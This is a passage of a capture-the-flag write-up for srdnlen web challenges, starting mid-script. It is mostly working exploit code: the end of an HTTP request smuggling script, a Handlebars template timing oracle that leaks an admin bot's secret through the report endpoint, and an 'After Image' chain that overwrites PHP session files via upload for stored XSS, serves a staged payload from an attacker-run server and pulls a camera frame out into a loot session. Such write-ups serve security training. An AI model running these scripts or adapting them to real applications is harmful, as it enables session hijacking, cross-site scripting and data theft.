range(args.login_attempts): if login_any(base, s, timeout=args.request_timeout): print("[+] Logged in") logged_in = True break time.sleep(args.round_delay) if not logged_in: # /api/chat/event is protected, but smuggling can still work if the first # request returns 401 and leaves appended bytes queued for keep-alive parse. print("[!] Login failed, continuing with no-auth smuggling mode") print("[*] Launching smuggling rounds...") i = 1 while True: if args.rounds > 0 and i > args.rounds: break flag = try_smuggle( base, s, timeout=args.request_timeout, consume_requests=args.consume_requests, consume_path=args.consume_path, ) if flag: print(f"[+] FLAG: {flag}") return 0 if i % 5 == 0: if args.rounds > 0: print(f"[*] Round {i}/{args.rounds} (no flag yet)") else: print(f"[*] Round {i} (no flag yet)") i += 1 time.sleep(args.round_delay) print("[-] No flag recovered in configured rounds") return 2 if __name__ == "__main__": sys.exit(main()) ``` ### TodoList #### Description The app is client-side only and uses Handlebars templates.\ The admin bot: 1. Visits the challenge page. 2. Stores `{"secret":""}` in app state and saves to cookie. 3. Visits attacker-controlled URL via `/report/`. Even without XSS, we can build a blind oracle against the bot by making template rendering intentionally expensive when a guessed condition is true. #### Solution The key primitive is: * Template condition checks secret characters via `lookup secret `. * If condition is true, render a heavy nested `#each` payload. * If false, render lightweight `ok`. When sent through `/report/`: * True branch causes fast bot failure (`500 {"error":"Admin failed..."}`). * False branch reaches the bot wait path and usually returns `504` around 60s. That gives a character-membership oracle. ```python #!/usr/bin/env python3 import json import re import time import urllib.parse import requests BASE_URL = "https://todolist.challs.srdnlen.it/" REPORT_URL = "https://todolist.challs.srdnlen.it/report/" HEAVY = ( "{{#each @root.arr}}" "{{#each @root.arr}}" "{{#each @root.arr}}" "{{#each @root.arr}}" "{{/each}}{{/each}}{{/each}}{{/each}}" ) ARR = list(range(140)) START_FLAG = "srdnlen{" CHARSET = list("abcdefghijklmnopqrstuvwxyz0123456789_}") def build_target_url(pos: int, subset: list[str]) -> str: template = f"{{{{#if (lookup @root.map (lookup secret {pos}))}}}}{HEAVY}{{{{else}}}}ok{{{{/if}}}}" data = {"arr": ARR, "map": {c: 1 for c in subset}} params = { "template": template, "data": json.dumps(data, separators=(",", ":")), } return BASE_URL + "?" + urllib.parse.urlencode(params) def oracle(pos: int, subset: list[str]) -> bool: target = build_target_url(pos, subset) while True: start = time.time() r = requests.post(REPORT_URL, data={"url": target}, timeout=130) elapsed = time.time() - start text = r.text if "Too many requests" in text: m = re.search(r"after (\\d+) seconds", text) time.sleep((int(m.group(1)) if m else 60) + 1) continue if r.status_code == 404 and "404 page not found" in text: time.sleep(5) continue # True branch (heavy): fast fail if "Admin failed to visit the URL." in text and elapsed < 45: return True # False branch: slow path/timeout if elapsed >= 50 or "504 Gateway Time-out" in text or "Admin successfully" in text: return False time.sleep(5) def recover_char(pos: int, charset: list[str]) -> str: cands = charset[:] while len(cands) > 1: mid = len(cands) // 2 left = cands[:mid] cands = left if oracle(pos, left) else cands[mid:] return cands[0] def main(): flag = START_FLAG pos = len(flag) while True: ch = recover_char(pos, CHARSET + ["}"]) # verify singleton if not oracle(pos, [ch]): # fallback if needed ch = recover_char(pos, list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}!-@#$%^&*()+=[]{}:;,.?/\\|~")) flag += ch print(flag, flush=True) if ch == "}": break pos += 1 if __name__ == "__main__": main() ``` ```python # one-shot probe for "is secret[pos] == ch?" tpl = f"{{{{#if (lookup @root.map (lookup secret {pos}))}}}}{HEAVY}{{{{else}}}}ok{{{{/if}}}}" data = {"arr": list(range(140)), "map": {ch: 1}} ``` This confirmed the final suffix and produced: `srdnlen{leakycstiggwp}` ### After Image #### Description A web challenge with three services behind `afterimage-nginx`: * PHP app (`index.php`, `profile.php`, `tokens.php`) * admin bot (Firefox) visiting attacker-supplied URLs via `/report` * internal camera at `CAMERA_IP` exposing MJPEG `/stream` with the real flag rendered on-frame Goal: get the bot to leak the camera frame. #### Solution 1. **Find initial primitive (source-based)** * `profile.php` accepts file uploads and writes them to `/tmp/`. * PHP session files are also in `/tmp` as `sess_`. * Uploading a file named `sess_` overwrites another session file. * `index.php` renders `$_SESSION['nickname']` unsafely -> stored XSS. 2. **Exploit chain** * Overwrite bot-target session with `nickname=" stage1_len="${#stage1_js}" stage1_file="payload_stage1_current.txt" printf 'nickname|s:%d:"%s";' "${stage1_len}" "${stage1_js}" > "${stage1_file}" echo "[*] token : ${tok}" echo "[*] stage1 url : ${stage1_url}" echo "[*] loot sid : ${loot_sid}" echo "[*] target sid : ${target_sid}" echo "[*] upload sid : ${uploader_sid}" upload_code="$(curl -sS -o /tmp/afterimage_upload_resp.txt -w '%{http_code}' \ -X POST "${BASE_URL}/profile.php?PHPSESSID=${uploader_sid}" \ -F "config_file=@${stage1_file};filename=sess_${target_sid};type=text/plain")" echo "[*] upload http: ${upload_code}" if [[ "${upload_code}" != "200" ]]; then echo "[!] upload response:" cat /tmp/afterimage_upload_resp.txt exit 1 fi tmp_report="/tmp/afterimage_report_${tok}.txt" curl -sS \ -X POST "${BASE_URL}/report" \ --data-urlencode "url=http://afterimage-nginx/index.php?PHPSESSID=${target_sid}" > "${tmp_report}" & report_pid=$! echo "[*] monitoring loot session while bot runs..." last_state="" last_err="" last_jpg="0" for i in $(seq 1 140); do tmp_html="/tmp/loot_live_${tok}.html" curl -s "${BASE_URL}/index.php?PHPSESSID=${loot_sid}" > "${tmp_html}" || true state="$(rg -o 'stage2_[^<]+' -m1 "${tmp_html}" || true)" err="$(rg -o 'Error:[^\"]+' -m1 "${tmp_html}" || true)" jpg_len="$(rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m1 "${tmp_html}" | wc -c || true)" if [[ "${state}" != "${last_state}" || "${err}" != "${last_err}" || "${jpg_len}" != "${last_jpg}" ]]; then echo "[live ${i}s] state='${state}' err='${err}' jpeg_chars=${jpg_len}" last_state="${state}" last_err="${err}" last_jpg="${jpg_len}" fi if [[ "${jpg_len}" -gt 20 ]]; then echo "[*] JPEG marker detected in loot session." break fi sleep 1 done wait "${report_pid}" || true report_resp="$(cat "${tmp_report}")" echo "[*] report resp: ${report_resp}" echo "[*] check loot session with:" echo " curl -s '${BASE_URL}/index.php?PHPSESSID=${loot_sid}' | rg -o 'stage2_[^<]+'" echo " curl -s '${BASE_URL}/index.php?PHPSESSID=${loot_sid}' | rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m 1" ``` **Stage server (`oneshot80.py`)** ```python #!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer import argparse import threading from pathlib import Path import urllib.parse def build_handler(payload: bytes, stage_path: str, probe_path: str, pre_path: str, die_path: str): p_shutdown = {"done": False} class H(BaseHTTPRequestHandler): def do_GET(self): path = urllib.parse.urlparse(self.path).path if path == probe_path: self.send_response(200) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Content-Length', '2') self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Cache-Control', 'no-store') self.send_header('Connection', 'close') self.end_headers() self.wfile.write(b'ok') self.wfile.flush() return if path == die_path: self.send_response(200) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Content-Length', '3') self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Cache-Control', 'no-store') self.send_header('Connection', 'close') self.end_headers() self.wfile.write(b'bye') self.wfile.flush() if not p_shutdown["done"]: p_shutdown["done"] = True threading.Thread(target=self.server.shutdown, daemon=True).start() return if path in (stage_path, pre_path): self.send_response(200) self.send_header('Content-Type', 'text/html; charset=utf-8') self.send_header('Content-Length', str(len(payload))) self.send_header('Cache-Control', 'no-store') self.send_header('Connection', 'close') self.end_headers() self.wfile.write(payload) self.wfile.flush() return else: self.send_response(404) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.end_headers() self.wfile.write(b'not found') self.wfile.flush() return def log_message(self, fmt, *args): print(f"[{self.address_string()}] {fmt % args}") return H def main(): ap = argparse.ArgumentParser(description='Serve payload/probe on :80; exit after /die hit') ap.add_argument('--payload', default='payload.html', help='Path to payload html file') ap.add_argument('--path', default='/p', help='Stage path (default: /p)') ap.add_argument('--prepath', default='/r', help='Pre-stage path (default: /r)') ap.add_argument('--probepath', default='/probe', help='CORS probe path (default: /probe)') ap.add_argument('--diepath', default='/die', help='Shutdown trigger path (default: /die)') ap.add_argument('--bind', default='0.0.0.0', help='Bind address (default: 0.0.0.0)') ap.add_argument('--port', type=int, default=80, help='Port (default: 80)') args = ap.parse_args() payload_path = Path(args.payload) payload = payload_path.read_bytes() stage_path = args.path if args.path.startswith('/') else '/' + args.path probe_path = args.probepath if args.probepath.startswith('/') else '/' + args.probepath pre_path = args.prepath if args.prepath.startswith('/') else '/' + args.prepath die_path = args.diepath if args.diepath.startswith('/') else '/' + args.diepath httpd = HTTPServer((args.bind, args.port), build_handler(payload, stage_path, probe_path, pre_path, die_path)) print(f"[*] stage server listening on http://{args.bind}:{args.port}") print(f"[*] pre-stage path: {pre_path}") print(f"[*] stage path : {stage_path}") print(f"[*] probe path : {probe_path} (CORS 200)") print(f"[*] die path : {die_path} (shutdown trigger)") print(f"[*] payload bytes: {len(payload)} from {payload_path}") print('[*] will exit after first successful /die response') httpd.serve_forever() if __name__ == '__main__': main() ``` **Stage payload (`payload.html`)** ```html ``` **Frame extraction helper used** ```bash curl -s 'http://afterimage.challs.srdnlen.it/index.php?PHPSESSID=LOOT_SID_EXAMPLE' > /tmp/loot_success.html rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m 1 /tmp/loot_success.html > /tmp/jpegb64_line.txt python3 - << 'PY' import base64,re s=open('/tmp/jpegb64_line.txt','r').read().strip() m=re.match(r'JPEG_BASE64:([A-Za-z0-9+/=]+)$',s) open('frame_success.jpg','wb').write(base64.b64decode(m.group(1))) print('wrote frame_success.jpg') PY ```